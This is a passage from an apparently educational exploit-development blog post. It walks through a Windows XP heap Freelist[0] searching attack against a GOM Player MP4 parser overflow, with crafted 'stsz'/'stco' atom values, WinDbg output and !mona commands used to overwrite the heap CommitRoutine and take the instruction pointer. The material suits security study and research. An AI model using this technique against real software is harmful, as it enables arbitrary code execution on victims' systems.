needs to be extended (via RtlExtendHeap).&#160; So, if we can overwrite this pointer and trigger an allocation request that is larger than the largest entry in Freelist[0], we can redirect the flow of exection.<\/p>\n<p>Now, in order to overwrite this pointer we must identify a region of the _HEAP structure which represents a valid heap chunk.&#160; Fortunately for us, there are several.<\/p>\n<p>As i mentioned in the Heap Basics section, the Freelist structure contains 128 list head entries, each of which correspond with a Freelist of a particular size.&#160; If a Freelist contains free chunks, these list head entries (compromised of Flink and Blink pointers) will point to the first and last chunk on the list.&#160; If no entries exist for a Freelist, then the Flink and Blink pointers will point back to themselves.<\/p>\n<p>This means that these list head entries will always contain valid pointers.&#160; This is useful in the fact that we can use these list head entries as our fake heap chunks.&#160; For instance, consider the following example which uses the list head of Freelist[2] as our fake chunk.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dc 00160180 L4\n00160180  00160180 00160180 00160188 00160188  ................\n\n<strong><span style=\"color: #ffff00\">Self Size: 0x180 (0xC00 bytes)<\/span><\/strong>\nPrevious Size: 0x16 (0xB0 bytes) # Value has no affect on this attack\nChunk Cookie: 0x80 # Value has no affect on this attack\nChunk Flag: 0x1 # Value has no affect on this attack\nUnused: 0x16 # Value has no affect on this attack\nSegment Index: 0x0 # Value has no affect on this attack\n<strong><span style=\"color: #ffff00\">Flink: Ptr32  -  0x00160188<\/span><\/strong>\n<strong><span style=\"color: #ffff00\">Blink: Ptr32  - 0x00160188<\/span><\/strong><\/pre>\n<p>Good. So here we can see that if we were to apply the data at 0x00160180 to the structure of a Freelist heap entry, it would represent a valid chunk of 0xC00 byes.&#160; With that, if we were to replace our 0x41414141 with the UserPtr of this chunk, 0x00160188 (remember that the UserPtr is located 8 bytes after the start of the chunk), Freelist[0] would now have the following structure.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000, Blink: 0x00167000\n     ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00160180, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) \n     ChunkPtr: 0x00160180, Header: 0x8 bytes, UserPtr: 0x00160188, Flink: 0x00160188, Blink: 0x00160188, ChunkSize: 0xC00 (3072), Usersize: 0xC00 (3072)<\/pre>\n<p>With our Flink overwritten with a value that now points to a fake (albeit valid) heap chunk, the trick here is that if we can control the size of the next allocation request, particularly, if we can request a chunk of 0xBF8 ((0xC00-8) we must subtract 0x8 bytes for the heap chunk\u2019s header), the heap manager will return the pointer 0x00160180.&#160; Then, if we can write 0x3FC bytes (0x0016057C-0x00160180), we will overwrite the CommitRoutine pointer.<\/p>\n<p>The reason this happens is when the allocation request is received, the heap manager will determine that 0xBF8 is larger than 0x400 (1024 bytes) and begin searching Freelist[0].&#160; It will first check that the last chunk in the list is large enough to service this request.&#160; Now remember, although we\u2019ve essentially broken the chain maintained by our doubly-linked list, the Freelist[0] list head will still contain a valid pointer to the last chunk in our list, located at 0x00167000:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000, Blink: 0x00167000\n...truncated...\n     ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)<\/pre>\n<p>Since the last chunk in our list is larger than our requested size of 0xBF8, the heap manager will begin traversing the list, from smallest chunk to largest in order to identify an appropriate chunk to service this allocation request.&#160; It will begin with the first chunk which we\u2019ve corrupted with our overflow.&#160; Remember, we\u2019ve modified the size of this chunk so that the heap manager would believe it is only 0x8 bytes.&#160; As this is smaller than the requested size, the heap manager will go to the next chunk by following the Flink which we\u2019ve manipulated to point to 0x00160180.&#160; It will then retrieve the size of this chunk and determine that it is in fact large enough to service our request.<\/p>\n<p>The heap manager will then unlink this chunk.&#160; Funny enough, by using an empty Freelist list head as our fake heap chunk, the safe unlink check is passed.&#160; With this our chunk is successfully unlinked and a pointer to 0x00160180 is returned to the application.&#160; However, it\u2019s important to note that bypassing the safe unlink check is not necessary in order to utilize the Freelist[0] searching attack in order to return an arbitrary pointer.&#160; More on this in a bit.<\/p>\n<blockquote>\n<p>Unfortunately, this method may have some potential side affects.&#160; During the unlink procedure, the heap manager will modify the Blink of our fake heap chunk.&#160; In doing so, the heap manager will detect this difference and since the Flink and Blink do not both point to the list head, it will believe that a chunk now exists at this list.&#160; This may or may not affect exploitation.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<p>Now what if we didn\u2019t want to target the HEAP base structure?&#160; If exploitation occurs within a private heap, the base address of this HEAP may not be reliable.&#160; Another alternative would be to target a writable function pointer.&#160; If we could find a writable function pointer that resembled a valid heap chunk or data that resembled a valid heap chunk prior to a writable function pointer, we could use force the heap manager to return an arbitrary pointer to that location.<\/p>\n<p>In order to identify potential heap chunks, corelanc0d3r recently implemented a new feature into !mona which allows us to identify function pointers, or offsets to function pointers, which resemble valid heap chunks (contains readable Flink and Blink pointers).&#160; We\u2019ll touch on this more in a bit during the \u201cApplication Specific Technique\u201d section.<\/p>\n<p>Using the !mona function described above, we\u2019ve found a writable function pointer which resembles a valid heap chunk in ntdll.dll:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">0x7c97f10c<\/span><\/strong> : 0x7c97f10c gets called from ntdll.dll at 0x7c9293ec (CALL DWORD PTR DS:[7C97F10C]) -&#160; Chunksize: 864 (0x360), <strong><span style=\"color: #ffff00\">UserPtr 0x7c97f10c<\/span><\/strong>, Flink 0x7c812ef8, Blink 0x00260000 -&#160; {PAGE_READWRITE}<\/pre>\n<p>Let\u2019s apply the heap chunk structure to this pointer:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dc 7c97f104 L4\n00160180  00160180 00160180 00160188 00160188  ................\n\n<strong><span style=\"color: #ffff00\">Self Size: 0x6C (0x360 bytes)<\/span><\/strong>\nPrevious Size: 0x6C (0xB0 bytes) # Value has no affect on this attack\nChunk Cookie: 0x0 # Value has no affect on this attack\nChunk Flag: 0x0 # Value has no affect on this attack\nUnused: 0x0 # Value has no affect on this attack\nSegment Index: 0x0 # Value has no affect on this attack\n<strong><span style=\"color: #ffff00\">Flink: Ptr32  -  0x7c812ef8<\/span><\/strong>\n<strong><span style=\"color: #ffff00\">Blink: Ptr32  - 0x00260000<\/span><\/strong><\/pre>\n<p>Good.&#160; Once again we see that we have what would represent a valid heap chunk with a size of 0x360.&#160; With that, let\u2019s assume that our Flink has been overwritten with this UserPtr (0x7C97F10C).<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000, Blink: 0x00167000\n     ChunkPtr: 0x7C97F104, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x7C97F10C, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) \n     ChunkPtr: 0x00160180, Header: 0x8 bytes, UserPtr: 0x00160188, Flink: 0x00160188, Blink: 0x00160188, ChunkSize: 0x360 (864), Usersize: 0x360 (864)<\/pre>\n<p>Now, if the application were to issue an allocation request of 0x358 bytes, the heap manager would begin traversing the list.&#160; In this case, as our request is under 0x400 (1024 bytes), it would begin checking from Freelist[108], until the end.&#160; In this case, no other Freelists exist so the heap manager would then check Freelist[0].&#160; It would first check the final chunk in Freelist[0] to ensure that there is in fact enough space available to service the requst.&#160; As there is, the heap manager would then begin traversing Freelist[0] from top to bottom.&#160; Again, the first chunk with a size of 0x8 bytes is too small so it would follow this chunks Flink to 0x7C97F10C.&#160; As this chunk is in fact large enough to service the request, the heap manager will attempt to unlink it.<\/p>\n<p>However, in this case as the Flink has been corrupted and the doubly-linked list is now broken, the safe unlink check will fail.&#160; Fortunately for us this doesn\u2019t mean much.&#160; The safe-unlink check only means that the chunks pointed to by our Flink and Blink pointers will not be updated to account for the unlink (triggering the arbitrary 4-byte overwrite).<\/p>\n<p>The heap manager will then call RtlReportHeapCorruption.&#160; This again does not affect us as the purpose of this function is to output to the debugger, if being debugged, that the heap chunk is corrupted.&#160; However, under Windows XP, when heap corruption is reported, execution is continued.&#160; Under Windows Vista and later, triggering heap corruption will actually terminate the process.<\/p>\n<p>As this is not the case, the allocation process will continue and the pointer specified by our Flink will be returned.&#160; We can see the instructions responsible for this behavior below:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=7c97f104 ebx=00000000 ecx=0000006c edx=0f92fe20 esi=7c97f104 <strong><span style=\"color: #ffff00\">edi=7c97f10c{ntdll!RtlpStartThreadFunc(7c97f10c)}<\/span><\/strong>\neip=7c911066 esp=0012bb3c ebp=0012bd5c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nntdll!RtlAllocateHeap+0x41d:\n7c911066 897dd0          mov     dword ptr [ebp-30h],edi ss:0023:0012bd2c=00000000\n...\neax=00000000 ebx=00000000 ecx=00000000 edx=04880608 esi=00000000 edi=00000000\neip=7c9110ea esp=0012bb3c ebp=0012bd5c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nntdll!RtlAllocateHeap+0xe53:\n7c9110ea 8b45d0          mov     eax,dword ptr [ebp-30h] ss:0023:0012bd2c=<strong><span style=\"color: #ffff00\">{ntdll!RtlpStartThreadFunc (7c97f10c)}<\/span><\/strong><\/pre>\n<p>&#160;<\/p>\n<h5>Application Specific Technique<\/h5>\n<p>Now, to apply this technique to our GOM specific vulnerability.&#160; First, let\u2019s take a look at the heap at the start of our vulnerable function.<\/p>\n<blockquote>\n<p><span style=\"color: #ffffff\">Please note: We\u2019re going to redo this section as the base address of this private heap varies widely.&#160; The addresses used here will not be the same as described above in the Freelist[0] insert attack.<\/span><\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x03207150, Header: 0x8 bytes, UserPtr: 0x03207158, Flink: 0x03208110, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) \n     ChunkPtr: 0x03208108, Header: 0x8 bytes, UserPtr: 0x03208110, Flink: 0x03205e10, Blink: 0x03207158, ChunkSize: 0xef8 (3832), Usersize: 0xef8 (3832) \n     ChunkPtr: 0x03205e08, Header: 0x8 bytes, UserPtr: 0x03205e10, Flink: 0x03200178, Blink: 0x03208110, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)<\/pre>\n<p>Here we can see that Freelist[0] has been populated with 3 chunks with the sizes 0x6B0, 0xF00, and 0x10D8 respectively.&#160; Now, as with the Freelist[0] insert attack, we need to know what is allocated and freed prior to an after our write instruction.&#160; Rather than reiterating each step of the process, I\u2019m simply going to list the results below:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"># Prior to write instruction:\n# Chunk containing entire &amp;quot;stsz&amp;quot; atom - RtlAllocateHeap hHEAP 0x03200000, size=0x100, chunk at 0x03207158\n# Pointer chunk - RtlAllocateHeap hHEAP 0x03200000, size=0x14, chunk at 0x03207260\n# Chunk used for our &amp;quot;sample size table&amp;quot; - RtlAllocateHeap hHEAP 0x03200000, size=0xec, chunk at 0x03207280\n\n# After write instruction:\n\n# RtlFreeHeap hHeap (0x03207158), size=0x00000100\n  03207158  00010000 7a737473 00000000 00000000  ....stsz........\n  03207168  3b000000 b5940000 d4520000 a8520000  ...;......R...R.\n  03207178  2c520000 7c520000 80520000 a4520000  ..R,..R|..R...R.\n\n# Chunk containing pointer information - RtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207378\n# Chunk containing entire &amp;quot;stco&amp;quot; atom - RtlAllocateHeap hHEAP 0x03200000, size=0x8c, chunk at 0x032073c8\n# Chunk containing more pointer infomation - RtlAllocateHeap hHEAP 0x03200000, size=0x10, chunk at 0x03207460\n# Chunk containing expanded &amp;quot;chunk offset table&amp;quot; - RtlAllocateHeap hHEAP 0x03200000, size=0xf8, chunk at 0x03207478\n\n# RtlFreeHeap hHeap (0x032073c8), size=0x00000090\n  032073c8  8c000000 6f637473 00000000 1f000000  ....stco........\n  032073d8  d0140000 85a90000 014f0100 a9f30100  ..........O.....\n  032073e8  cd980200 0d3f0300 c1e40300 958a0400  ......?.........<\/pre>\n<p>Ok, good.&#160; So with this information we can begin formulating an attack.&#160; Now we know that after our overwrite we need to be able to control the size and contents of our next allocation.&#160; Unfortunately for us, it seems that we cannot control the very next allocation at 0x04887378 with a size of 0x48 bytes.&#160; To rememedy this, we need to ensure that we free an object that is 0x48 bytes.&#160; As the chunk containing the \u201cstsz\u201d atom is the is freed immediately before this allocation, we can simply change the size of this atom to be 0x48 bytes.&#160; Then when our chunk is freed, the next allocation will retrieve it.<\/p>\n<blockquote>\n<p>Please note that this chunk will be freed to the LAL rather than Freelists<\/p>\n<\/blockquote>\n<p>Next, we need to trigger our overflow so that it only overwrites up to the Flink of the first chunk in Freelist[0].&#160; To do so, we\u2019ll need to set the size of our \u201cnumber of entries\u201d element to 0x8000000A.&#160; This will trigger an allocation size of 0x28 bytes (0x8000000A * 4 == 0x28).&#160; And as the \u201csample size table\u201d is actually 0x34 bytes (0x40-0xC for the \u201cstsz\u201d header data), this will write exactly 0xC bytes beyond out buffer.<\/p>\n<p>And finally, as we discussed about we have two methods that we could potentially use as targets for our fake chunks: pointers within the _HEAP structure and writable function pointers.&#160; The first that we\u2019ll demonstrate is a pointer located in the _HEAP structure.<\/p>\n<p>As we\u2019re targeting the private heap with a base of 0x03200000, we\u2019ll use the same Freelist head (Freelist[2]), that we had used in the section above.&#160; If we were to apply the heap chunk format to this data, it would appear as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dc 03200180 L4\n03200180  03200180 03200180 03200188 03200188  .. ... ... ... .\n\n<strong><span style=\"color: #ffff00\">Self Size: 0x180 (0xC00 bytes)<\/span><\/strong>\nPrevious Size: 0x320 (0x800 bytes) # Value has no affect on this attack\nChunk Cookie: 0x80 # Value has no affect on this attack\nChunk Flag: 0x1 # Value has no affect on this attack\nUnused: 0x20 # Value has no affect on this attack\nSegment Index: 0x3 # Value has no affect on this attack\n<strong><span style=\"color: #ffff00\">Flink: Ptr32  -  0x03200188<\/span><\/strong>\n<strong><span style=\"color: #ffff00\">Blink: Ptr32  - 0x03200188<\/span><\/strong><\/pre>\n<p>Finally, in addition to overwriting the Flink of our target chunk, we\u2019re also overwriting the 0x8 bytes of the heap chunk\u2019s metadata which precedes it.&#160; In order to ensure that our Flink is followed, we\u2019ll set a Size and PrevSize of 0x0001 (0x8 bytes).&#160; The values applied to the remaining 0x4 bytes will have no bearing on our exploitation.<\/p>\n<p>Good.&#160; Now with this information we can begin crafting our \u201cstsz\u201d atom.&#160; With the information listed above, it should now have the following structure:<\/p>\n<blockquote>\n<p>Please note: I\u2019ve also replaced the Sample Size Table contents with a cyclical pattern.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">Size:  0x00000048 (Causes allocation of 0x48 bytes)<\/span><\/strong>\nType:  0x7374737A (ASCII stsz) \nVersion:  0x00 \nFlags:  0x000000 \nSample Size: 0x00000000\n<strong><span style=\"color: #ffff00\">Number of Entries: 0x8000000100 (Causes allocation of 0x400 bytes)<\/span><\/strong>\nSample Size Table(1):  0x41613041\nSample Size Table(2):  0x61314161\n...\n# Begins at file offset 0x134B\n<strong><span style=\"color: #ffff00\">Self Size: 0x0001 (0xC00 bytes)<\/span><\/strong>\nPrevious Size: 0x0001 (0x800 bytes) # Value has no affect on this attack\nChunk Cookie: 0x58 # Value has no affect on this attack\nChunk Flag: 0x58 # Value has no affect on this attack\nUnused: 0x58 # Value has no affect on this attack\nSegment Index: 0x58 # Value has no affect on this attack\n<strong><span style=\"color: #ffff00\">Flink: 0x03200180<\/span><\/strong><\/pre>\n<p>Excellent.&#160; I hope you\u2019re still with me.&#160; Next, we\u2019ll need to craft the \u201cstco\u201d atom so that it matches the allocation size specified by our fake chunk.&#160; To do so, all we need to do is change the \u201csize\u201d element of the \u201cstco\u201d atom to be 0xBF8 (0xC00 \u2013 0x8 to account for the heap header).&#160; Also, if you recall earlier when we documented the structure of the \u201cstco\u201d atom, the&#160; \u201cnumber of entries\u201d element, which controls our 7th allocation, exists at offset 0xC from the start of the \u201cstco\u201d atom.&#160; Following that is the \u201cchunk offset table\u201d.&#160; For demonstration purposes, let\u2019s go ahead and fill this with a cyclical pattern as well.<\/p>\n<p>When it\u2019s all said and done, your \u201cstco\u201d atom should look as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">Size:  0x00000BF8 (Triggers an allocation of 0xBF8 bytes)<\/span><\/strong>\nType:  0x7374636F (ASCII stco) \nVersion:  0x00 \nFlags:  0x000000 \n<strong><span style=\"color: #ffff00\">Number of Entries: 0x000000008 (Triggers an allocation of 0x40 bytes) # Not necessary at the moment<\/span><\/strong>\nChunk Offset Table(1):  0x41613041\nChunk Offset Table(1):  0x61314161\n...<\/pre>\n<p>Excellent.&#160; Let\u2019s go ahead and save these changes and observe the behavior in our debugger.&#160; To avoid any discrepancies, I\u2019ve included a sample which includes all of the changes discussed above, which you can find here.<\/p>\n<p>We\u2019ll first set a breakpoint just after our write instructions have completed (GSFU!DllUnregisterServer+0x236bd) in order to determine that the Flink has been successfully overwritten.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x032071f0, Header: 0x8 bytes, UserPtr: 0x032071f8, Flink: 0x03200188, Blink: 0x03200178, ChunkSize: 0x8 (8), Usersize: 0x-50 (-80) \n     ChunkPtr: 0x03200180, Header: 0x8 bytes, UserPtr: 0x03200188, Flink: 0x03200188, Blink: 0x03200188, ChunkSize: 0xc00 (3072), Usersize: 0xbe0 (3040)<\/pre>\n<p>Excellent. Now that we've confirmed that our Flink has been overwritten with our supplied value of 0x03200188, let's go ahead and step forward until our &quot;stsz&quot; chunk has been freed.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; bp ntdll!RtlFreeHeap &quot;j ((poi(esp+4)==0x03200000) &amp; (poi(esp+c)!=0)) '.printf \\&quot;RtlFreeHeap hHeap (0x%p), size=0x%p\\\\n\\&quot;, poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c) LC; .echo; 'g';&quot;\n0:000&gt; g\n<strong><span style=\"color: #ffff00\">RtlFreeHeap hHeap (0x03207158), size=0x00000048<\/span><\/strong>\n03207158  48000000 7a737473 00000000 00000000  ...Hstsz........\n03207168  0a000080 41306141 61413161 33614132  ....Aa0Aa1Aa2Aa3\n03207178  41346141 61413561 37614136 41386141  Aa4Aa5Aa6Aa7Aa8A<\/pre>\n<p>Good. If we were to check the status of our LAL after the free operation has completed we would see the following:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">LAL [10] @0x03200868, Expected Chunksize 0x50 (80), Flink : 0x03207158\n  1 chunks:\n     <strong><span style=\"color: #ffff00\">ChunkPtr: 0x03207150, UserPtr: 0x03207158, Flink: 0x00000000, ChunkSize: 0x50, UserSize: 0x48, Userspace: 0x48 (Busy)<\/span><\/strong><\/pre>\n<p>Next, let's step through each of our allocations until we reach the allocation responsible for containing our &quot;stco&quot; atom.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp ntdll!RtlAllocateHeap+0x117 &quot;j (poi(@esp+4)==0x03200000) '.printf \\&quot;RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\\\n\\&quot;, poi(@esp+4), poi(esp+c), eax'; 'g';&quot;\n\nRtlAllocateHeap hHEAP 0x03200000, size=0x48, chunk at 0x03207158\n<strong><span style=\"color: #ffff00\">RtlAllocateHeap hHEAP 0x03200000, size=0xbf8, chunk at 0x03200188<\/span><\/strong><\/pre>\n<p>Excellent.&#160; There\u2019s several things to note about the information provided above.&#160; First, we can see that our uncontrolled allocation of 0x48 bytes was taken from our recently Freed entry on the LAL (0x03207158).&#160; Next, and most importantly we can see that we were in fact able to return a pointer to our arbitrary location at the heap base (0x03200188). Next, let's set a hardware breakpoint on our CommitRoutine (0x0320057C) to ensure that it overwritten.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; ba w 4 0320057C\n0:000&gt; g\nBreakpoint 3 hit\neax=00000754 ebx=03204c90 ecx=000000c9 edx=00000754 esi=032053cc edi=032005b8\neip=03c155fe esp=0012bd84 ebp=03200188 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202\nGSFU!DllUnregisterServer+0x431e:\n03c155fe f3a5            rep movs dword ptr es:[edi],dword ptr [esi]\n\ndt _HEAP 03200000\n...truncated...\n<strong><span style=\"color: #ffff00\">+0x57c CommitRoutine    : 0x42326842     long  +42326842<\/span><\/strong><\/pre>\n<p>Great. Finally, let's check the start of our allocated block to ensure that the entire contents of our &quot;stco&quot; atom has been written.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dc 0x03200188\n03200188  f80b0000 6f637473 00000000 08000000  ....stco........\n03200198  41306141 61413161 33614132 41346141  Aa0Aa1Aa2Aa3Aa4A\n032001a8  61413561 37614136 41386141 62413961  a5Aa6Aa7Aa8Aa9Ab\n032001b8  31624130 41326241 62413362 35624134  0Ab1Ab2Ab3Ab4Ab5\n032001c8  41366241 62413762 39624138 41306341  Ab6Ab7Ab8Ab9Ac0A\n032001d8  63413163 33634132 41346341 63413563  c1Ac2Ac3Ac4Ac5Ac\n032001e8  37634136 41386341 64413963 31644130  6Ac7Ac8Ac9Ad0Ad1\n032001f8  41326441 64413364 35644134 41366441  Ad2Ad3Ad4Ad5Ad6A<\/pre>\n<p>Excellent.&#160; Here we can see that the contents of the \u201cchunk offset table\u201d were used to overwrite much of the _HEAP structure, particularly our target, the RtlCommitRoutine located at 0x0320057C.&#160; With this, if we are able to trigger an allocation request that is larger than the largest entry in Freelist[0], we can gain control over the instruction pointer.<\/p>\n<p>However, it seems that I\u2019ve made quite a mess of the heap structure by overwriting it with a cyclical pattern.&#160; Before we can make any other allocations, we\u2019ll need to replace it.&#160; And by \u201cwe\u201d, I mean you.&#160; Good luck \ud83d\ude09<\/p>\n<p>Now it would seem that I\u2019ve left you with a terrible ending to this tactic.&#160; Guilty as charged.&#160; It\u2019s 1:30AM at the time of writing and we have one more minor item to cover.&#160; Earlier in this section, I mentioned that you can also choose to target writable function pointers.&#160; However, identifying these pointers by hand would be incredibly difficult.&#160; Fortunately for us, the gracious corelanc0d3r has recently implemented some changes to !mona that make our task at hand much easier.&#160; Let\u2019s take a look at the new and improved \u201cfwptr\u201d function in !mona:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Usage of command 'fwptr' :\n---------------------------\nSearch for calls to pointers in a writeable location, \nwill assist with finding a good target for 4byte arbitrary writes\nOptional Arguments:\n    -bp : Set breakpoints on all found CALL instructions\n    -patch : Patch the target of each CALL with 0x41414141\n    -chunksize &lt;nr&gt; : only list the pointer if location-8 bytes contains a size value larger than &lt;nr&gt;\n                      (size in blocks, not bytes)\n    -offset &lt;nr&gt; : add &lt;nr&gt; bytes of offset within chunk, after flink\/blink pointer \n                  (use in combination with -freelist and -chunksize &lt;nr&gt;)\n    -freelist : Search for fwptr that are preceeded by 2 readable pointers that can act as flink\/blink<\/pre>\n<p>Here we can see the addition of 3 new arguments: chunksize, offset, and freelist. By specifying the &quot;-freelist&quot; argument, !mona will attempt to identify writable function pointers which represent a fake heap chunk. And by that, I mean a writable function pointer which is preceded by 8 readable bytes and followed by two readable pointers (which represent our Flink and Blink). In cases where you cannot control the size of the allocation which will use this &quot;fake&quot; chunk, you can specify the size of the allocation in conjunction with the &quot;-chunksize&quot; argument. !mona will then display fake heap chunks which also match the requested allocation size. And finally, under certain circumstances, you may not always be able to control the first 4 bytes of an allocation. Therefore, it may be necessary to find fake heap chunks which exist at a specified offset from our writable function pointer. To satisfy this requirement, you can use the &quot;-offset&quot; argument in conjunction with the respective offset of the allocation where you can control the data being written. A perfect example of this is our &quot;stco&quot; atom. Although we can essentially control the entire contents of the atom, it would be preferable for us to use the contents of our &quot;chunk offset table&quot; to overwrite a function pointer. This would require an offset of 0xC (12) or more. Putting this all together, if we wanted to identify writable function pointers which are preceded by a fake heap chunk by a12 byte offset, where the size of these heap chunks do not matter (as we control the allocation size), we can use the following syntax:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!py mona fwptr -cm rebase=false -freelist -chunksize 1 -offset 0xC<\/pre>\n<p>Running this command under GOM provides roughly 5000 results.&#160; Unfortunately for us, many of them are not useable.&#160; This is because many of these chunks often contain significantly larger than normal size value.&#160; When using chunks with a size that is greater than the largest entry found in Freelist[0], our subsequent allocation request used to retrieve this chunk will trigger a call to RtlExtendHeap.&#160; Doing so will likely trigger an access violation as we\u2019ve corrupted the doubly-linked listed maintained by Freelist[0].<\/p>\n<p>However, with this we still have some options.&#160; Seeing as how we can perform essentially an n-byte overwrite, we can use this technique to overwrite pointers that our adjacent to our usable heap chunks.&#160; Using !mona, you can also try using various offsets in order to find additional usable heap chunks (i.e. +0x12 or greater).<\/p>\n<p>A simple demo of this type of attack can be found here.&#160; This proof of concept does NOT gain code execution.&#160; It simply demonstrates an arbitrary n-byte write 